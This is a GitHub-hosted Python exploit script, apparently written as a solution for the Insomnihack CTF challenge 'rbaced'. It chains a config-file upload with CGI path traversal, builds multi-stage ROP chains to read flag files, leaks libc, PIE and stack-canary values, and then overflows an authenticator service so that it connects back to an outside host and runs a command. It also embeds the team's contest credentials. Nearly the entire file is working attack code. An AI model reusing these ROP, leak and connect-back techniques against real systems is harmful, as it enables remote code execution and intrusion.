Skip to content
Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 546 lines (376 sloc) 16.4 KB
#!/usr/bin/python2
import requests
import telnetlib
import hashlib
import struct
import ctypes
import sys
import time
from requests.auth import HTTPBasicAuth
from pwn import *
###############################################################################
# Definitions -----------------------------------------------------------------
###############################################################################
DEV = False
HOST = "localhost" if DEV else "rbaced.insomnihack.ch"
PORT = 8080 if DEV else 8080
USERNAME = "admin" if DEV else "user3tNLcl" # team 0daysober
PASSWORD = "password" if DEV else "IVFIDomNe0"
IP_ADDR = "127.0.0.1" if DEV else "FIXME"
CONNECT_BACK_HOST = "FIXME"
CONNECT_BACK_PORT = 1337
CMD = "/getflag_part2\x00"
junk = 0x4142434445464748
context.update(arch='amd64', os='linux')
elf = ELF("files/rbaced")
libc = ELF("/usr/lib/libc.so.6" if DEV else "files/libc.so.6")
auth_elf = ELF("files/authenticator")
ropper = ROP([elf])
libc_ropper = ROP([libc])
# Stage 1 gadgets (elf)
ret_gadget = ropper.ret[0]
pop_rax = ropper.search(regs=['rax'], order='regs')[0]
pop_rbx = ropper.search(regs=['rbx'], order='regs')[0]
pop_rdi = ropper.search(regs=['rdi'], order='regs')[0]
pop_rbp = ropper.search(regs=['rbp'], order='regs')[0]
pop_rsi = None # fixed later with libc
pop_rcx = None # fixed later with libc
pop_rdx = None # fixed later with libc
pop_rsi_r15 = ropper.search(regs=['rsi', 'r15'], order='regs')[0]
pop_rsp_r13_r14_r15 = ropper.search(regs=['rsp', 'r13', 'r14', 'r15'], order='regs')[0]
write_rax_on_stack = next(elf.search(asm("mov [rsp+0x30], rax ; nop ; add rsp, 0x20; ret")))
add_ebx_at_rbp = next(elf.search(asm(
"adc [rbp-0x41], ebx\n" \
"sbbb [rdx+0x60], 0x00000000 \n" \
"jmp rax")))
mov_rdx_rsp0x10 = next(elf.search(asm(
"mov rdx, [rsp+0x10] \n" \
"mov rax, [rsp+0x18] \n" \
"add rax, rdx \n" \
"movb [rax], 0x00000000 \n" \
"mov rax, [rsp+0x10] \n" \
"add rsp, 0x28 \n" \
"ret")))
readall = 0x403da8
# Stage 2 gadgets (libc)
libc_pop_rdi = libc_ropper.search(regs=['rdi'], order='regs')[0]
store_rax_in_rdx = next(libc.search(asm("mov [rdx], rax ; mov eax, 0x00000001 ; ret")))
deref_rsi = next(libc.search(asm("mov rsi, [rsi+0x70] ; xor eax, eax ; ret")))
add_ptr_rdx_ecx = next(libc.search(asm("add [rdx], ecx ; ret")))
auth = HTTPBasicAuth(USERNAME, PASSWORD)
auth_basic = ("%s:%s" % (USERNAME, PASSWORD)).encode("base64").replace("\n", "")
pref_hash = hashlib.sha1("Basic " + auth_basic + IP_ADDR).hexdigest()
# Other useful constants
bss_user = 0x605b28
bss_group = bss_user + 101
bss_addr = bss_user + 250
content_type = next(elf.search("Content-Type: %s\n\n"))
auth_main = 0x0e80
auth_bss_encoded = 0x202040
auth_libc_leak_offset = 0x20610 if DEV else 0x21ec5
###############################################################################
# Exploit ---------------------------------------------------------------------
###############################################################################
def rop(ropchain):
res = ''
for gadget in ropchain:
if type(gadget) == str:
res += gadget
else:
res += p64(gadget)
return res
def inject_null_bytes(prefix, payload):
res = ""
res += prefix + payload.replace("\x00", "X") + "\n"
while True:
pos = payload.rfind("\x00")
if pos == -1:
break
payload = payload[:pos]
res += prefix + payload.replace("\x00", "X") + "\n"
return res
def stage1_call_func(addr, *args):
payload = []
argc = len(args)
if argc >= 1 and args[0] != None:
payload.extend([pop_rdi, args[0]])
if argc >= 2 and args[1] != None:
payload.extend([pop_rsi_r15, args[1], junk])
payload.append(addr)
return rop(payload)
def stage2_call_func(addr, *args):
payload = []
argc = len(args)
if argc >= 1 and args[0] != None:
payload.extend([pop_rdi, args[0]])
if argc >= 2 and args[1] != None:
payload.extend([pop_rsi, args[1]])
if argc >= 3 and args[2] != None:
payload.extend([pop_rdx, args[2]])
if argc >= 4 and args[3] != None:
payload.extend([pop_rcx, args[3]])
payload.append(addr)
return rop(payload)
def get_sockaddr_struct(sa_family, sin_port, sin_addr):
res = struct.pack('<H', sa_family)
res += struct.pack('!H', sin_port)
res += socket.inet_aton(socket.gethostbyname(sin_addr))
return res.ljust(16, "\x00")
def exploit_part1():
# Save variables in BSS
payload = "fu\n"
payload += "User " + "/flag_part1\n"
payload += "Group " + "/flag_part1\n"
# Write stage1 ropchain
stage1 = rop([
# print the Content-Type line (if we don't the server will raise a 500 error)
stage1_call_func(elf.plt['puts'], content_type),
# fd = open(flag, O_RDONLY)
stage1_call_func(elf.plt['open'], bss_user, constants.O_RDONLY),
# read(fd, &bss, size) -- size in rdx = stack addr (large enough)
stage1_call_func(elf.plt['read'], 0x3, bss_addr, None),
# print flag
stage1_call_func(elf.plt['puts'], bss_addr),
stage1_call_func(elf.plt['exit'], 200),
])
log.info("Stage1 length: %d" % len(stage1))
# Write the ropchain, loop with strcpy's to inject NULL bytes
payload += inject_null_bytes("A" * 1024 + " " + "B" * 15 , stage1)
payload += "\nGAME OVER\n"
log.success("Uploading crafted config file")
data = {'sugar': payload}
req = requests.post("http://%s:%s/cgi-bin/preferences" % (HOST, PORT), data=data, auth=auth)
log.success("Launch server with crafted config")
req = requests.get("http://%s:%s/cgi-bin/../../rbaced?--daemon&--config=userdata/%s/pref.txt" %
(HOST, PORT, pref_hash), auth=auth)
print req.content
def exploit_part2():
global pop_rdi, pop_rsi, pop_rdx, pop_rcx, add_ptr_rdx_ecx, auth_bss_encoded
def increment_stack_ptr(stack_base, increment):
return rop([
pop_rdx,
stack_base,
pop_rcx,
increment,
add_ptr_rdx_ecx,
])
def authenticator_rop(ssp, libc):
sockfd = 0
payload = "MOFO".ljust(2056, "D")
payload += p64(ssp)
payload += "JUNKJUNK" * 7
payload += rop([
stage2_call_func(libc.symbols['socket'], constants.AF_INET, constants.SOCK_STREAM, 0),
stage2_call_func(libc.symbols['connect'], sockfd, auth_bss_encoded, 16),
stage2_call_func(libc.symbols['dup2'], sockfd, constants.STDOUT_FILENO),
stage2_call_func(libc.symbols['execve'], auth_bss_encoded + 16, 0, 0),
])
payload = payload.encode("base64").replace("\n", "") + "\n"
return payload
# Set variables in BSS
payload = "fufufu\n"
payload += "User " + "userdata/" + pref_hash + "/leak.txt\n"
payload += "Group " + "userdata/" + pref_hash + "/pref.txt\n"
# Write stage1 ropchain
mode = constants.S_IRWXU | constants.S_IRWXG | constants.S_IRWXO
stage1 = rop([
# write leak ---------------------------------------------------------
# set rdx = mode
mov_rdx_rsp0x10,
junk,
junk,
mode, # rwxrwxrwx
bss_addr - mode,
junk,
# fd = open(leak_file, O_RDWR | O_CREAT | O_TRUNC, mode)
stage1_call_func(elf.plt['open'], bss_user,
constants.O_RDWR | constants.O_CREAT | constants.O_TRUNC,
None),
# write(fd, &got, size) -- size is rdx = stack addr
stage1_call_func(elf.plt['write'], 0x3, elf.got['__libc_start_main'], None),
# sleep a bit ---------------------------------------------------------
# call alarm to resolve its address in the GOT. Also increase our time a bit :)
pop_rdi,
30,
elf.plt['alarm'],
# set rdx to some writable address
mov_rdx_rsp0x10,
junk,
junk,
bss_addr,
4,
junk,
# alarm = sleep
pop_rbp,
elf.got['alarm'] + 0x41,
pop_rbx,
libc.symbols['sleep'] - libc.symbols['alarm'],
pop_rax,
ret_gadget,
add_ebx_at_rbp,
# sleep(5)
stage1_call_func(elf.plt['alarm'], 5),
# read stage 2 --------------------------------------------------------
# fd = open(pref_file, O_RDONLY)
stage1_call_func(elf.plt['open'], bss_group, constants.O_RDONLY),
# stage2 = readall(fd, &bss)
stage1_call_func(readall, 0x4, bss_addr),
# pivot to stage 2 ----------------------------------------------------
write_rax_on_stack,
"B" * 32,
ret_gadget,
pop_rsp_r13_r14_r15,
])
log.info("Stage1 length: %d" % len(stage1))
# Write the ropchain, loop with strcpy's to inject NULL bytes
payload += inject_null_bytes("A" * 1024 + " " + "B" * 15, stage1)
payload += "\nGAME OVER\n"
log.info("Uploading crafted config file")
data = {'sugar': payload}
req = requests.post("http://%s:%s/cgi-bin/preferences" % (HOST, PORT), data=data, auth=auth)
log.info("Launch server with crafted config")
tn = telnetlib.Telnet(HOST, PORT)
s = tn.get_socket()
payload = "GET /cgi-bin/../../rbaced?--daemon&--config=userdata/%s/pref.txt HTTP/1.0\r\n" % pref_hash
payload += "Authorization: Basic " + auth_basic + "\r\n\r\n"
s.sendall(payload)
log.info("Retreive leak file")
time.sleep(1)
req = requests.get("http://%s:%s/userdata/%s/leak.txt" % (HOST, PORT, pref_hash))
__libc_start_main = u64(req.content[:8])
log.success("Leaked __libc_start_main: %#x" % __libc_start_main)
libc.address = __libc_start_main - libc.symbols['__libc_start_main']
assert(libc.address & 0xfff == 0)
log.success("Libc base: %#x" % libc.address)
pop_rcx = libc.address + libc_ropper.search(regs=['rcx'], order='regs')[0]
pop_rdx = libc.address + libc_ropper.search(regs=['rdx'], order='regs')[0]
pop_rsi = libc.address + libc_ropper.search(regs=['rsi'], order='regs')[0]
add_ptr_rdx_ecx += libc.address
log.info("Uploading stage2 ropchain")
payload = "fufufu\n"
payload += "B" * 9
stack_base = elf.bss(0)
buf = elf.bss(8)
saddr_mem = get_sockaddr_struct(socket.AF_INET, 4242, "127.0.0.1")
payload_leak_ssp = ("X" * 2056 + "A").encode("base64").replace("\n", "") + "\n"
payload_leak_libc = ("X" * 2056 + "B" * (8 * 8)).encode("base64").replace("\n", "") + "\n"
payload_leak_pie = ("X" * 2056 + "C" * (8 * 12)).encode("base64").replace("\n", "") + "\n"
# Each payload will be padded so we can store the auth_service answer at the same location
buf_len = 3500
load_stack_ptr_in_rsi = rop([
pop_rsi,
stack_base - 0x70,
libc.address + deref_rsi,
])
saddr_mem2 = get_sockaddr_struct(socket.AF_INET, CONNECT_BACK_PORT, CONNECT_BACK_HOST)
connect_back_info = saddr_mem2 + CMD + "\x00"
stage2 = rop([
# Store our stack address somewhere in bss
pop_rdx,
stack_base,
libc.address + store_rax_in_rdx,
# Increment stored stack pointer so it points to saddr_mem
increment_stack_ptr(stack_base, 0x1000 + 24),
# Enlarge our new stack so it can be used by libc (if it uses a sub rsp, xxx)
p64(ret_gadget) * 100,
stage2_call_func(libc.symbols['sleep'], 0x1),
# sockfd = socket(AF_INET, SOCK_STREAM, 0); # sockfd = 0x6
stage2_call_func(libc.symbols['socket'], constants.AF_INET, constants.SOCK_STREAM, 0),
# connect(sockfd, &saddr, sizeof(saddr));
load_stack_ptr_in_rsi,
stage2_call_func(libc.symbols['connect'], 0x6, None, 16),
# Open leak.txt file for writting # fd = 0x7
stage2_call_func(libc.symbols['open'],
bss_user,
constants.O_RDWR | constants.O_CREAT | constants.O_TRUNC),
# Send payload to leak SSP and log output to file
increment_stack_ptr(stack_base, len(saddr_mem)),
load_stack_ptr_in_rsi,
stage2_call_func(libc.symbols['write'], 0x6, None, len(payload_leak_ssp)),
stage2_call_func(libc.symbols['read'], 0x6, None, buf_len),
stage2_call_func(libc.symbols['write'], 0x7, None, buf_len),
# Send payload to leak libc and log output to file
increment_stack_ptr(stack_base, buf_len),
load_stack_ptr_in_rsi,
stage2_call_func(libc.symbols['write'], 0x6, None, len(payload_leak_libc)),
stage2_call_func(libc.symbols['read'], 0x6, None, buf_len),
stage2_call_func(libc.symbols['write'], 0x7, None, buf_len),
# Send payload to leak PIE and log output to file
increment_stack_ptr(stack_base, buf_len),
load_stack_ptr_in_rsi,
stage2_call_func(libc.symbols['write'], 0x6, None, len(payload_leak_pie)),
stage2_call_func(libc.symbols['read'], 0x6, None, buf_len),
stage2_call_func(libc.symbols['write'], 0x7, None, buf_len),
# Close leak.txt and wait for last payload to be uploaded
stage2_call_func(libc.symbols['close'], 0x7),
stage2_call_func(libc.symbols['sleep'], 3),
# Open pref.txt file for reading # fd = 0x7
stage2_call_func(libc.symbols['open'], bss_group, constants.O_RDONLY),
# Read and send final overflow payload to the auth_service
load_stack_ptr_in_rsi,
stage2_call_func(libc.symbols['read'], 0x7, None, buf_len),
increment_stack_ptr(stack_base, 10),
load_stack_ptr_in_rsi,
stage2_call_func(libc.symbols['write'], 0x6, None, len(authenticator_rop(junk, libc))),
stage2_call_func(libc.symbols['sleep'], 2),
# Send the shell command to execute
increment_stack_ptr(stack_base, buf_len - 10),
load_stack_ptr_in_rsi,
stage2_call_func(libc.symbols['write'], 0x6, None, len(connect_back_info)),
# Close authenticator socket
stage2_call_func(libc.symbols['close'], 0x6),
# Exit
stage2_call_func(libc.symbols['exit'], 0),
])
log.info("Stage2 length: %d" % len(stage2))
assert(len(stage2) < 0x1000)
stage2 = stage2.ljust(0x1000, "x")
stage2 += saddr_mem
stage2 += payload_leak_ssp.ljust(buf_len)
stage2 += payload_leak_libc.ljust(buf_len)
stage2 += payload_leak_pie.ljust(buf_len)
stage2 += connect_back_info
payload += stage2
data = {'sugar': payload}
req = requests.post("http://%s:%s/cgi-bin/preferences" % (HOST, PORT), data=data, auth=auth)
time.sleep(5)
log.info("Retreive auth_service leak file")
req = requests.get("http://%s:%s/userdata/%s/leak.txt" % (HOST, PORT, pref_hash))
match = "KO - Invalid credentials '"
ssp_leak = req.content[len(match) + len(payload_leak_ssp.decode("base64")):]
ssp = u64("\x00" + ssp_leak[:7])
log.success("Leaked auth_service SSP: %#16x" % ssp)
libc_leak = req.content[buf_len + len(match) + len(payload_leak_libc.decode("base64")):]
libc_leak = libc_leak[:libc_leak.find("'\n")].ljust(8, "\x00")
libc_leak = u64(libc_leak)
log.success("Leaked auth_service libc address: %#x" % libc_leak)
libc.address = libc_leak - auth_libc_leak_offset
assert(libc.address & 0xfff == 0)
pop_rdi = libc.address + libc_ropper.search(regs=['rdi'], order='regs')[0]
pop_rsi = libc.address + libc_ropper.search(regs=['rsi'], order='regs')[0]
pop_rcx = libc.address + libc_ropper.search(regs=['rcx'], order='regs')[0]
pop_rdx = libc.address + libc_ropper.search(regs=['rdx'], order='regs')[0]
log.success("auth_service libc base: %#x" % libc.address)
main_leak = req.content[buf_len * 2 + len(match) + len(payload_leak_pie.decode("base64")):]
main_leak = main_leak[:main_leak.find("'\n")].ljust(8, "\x00")
main_leak = u64(main_leak)
log.success("Leaked auth_service main base: %#x" % main_leak)
auth_elf.address = main_leak - auth_main
auth_bss_encoded += auth_elf.address
log.success("auth_service BSS buffer address: %#x" % auth_bss_encoded)
log.info("Uploading auth_service exploit")
data = {'sugar': "#\n" + authenticator_rop(ssp, libc)}
req = requests.post("http://%s:%s/cgi-bin/preferences" % (HOST, PORT), data=data, auth=auth)
time.sleep(5)
log.success("Exploit finished.")
def exploit(argc, argv):
if argc != 2:
print 'Usage: %s <part1 | part2>'
return 1
if argv[1] == "part1":
exploit_part1()
else:
exploit_part2()
return 0
if __name__ == '__main__':
sys.exit(exploit(len(sys.argv), sys.argv))
You can’t perform that action at this time.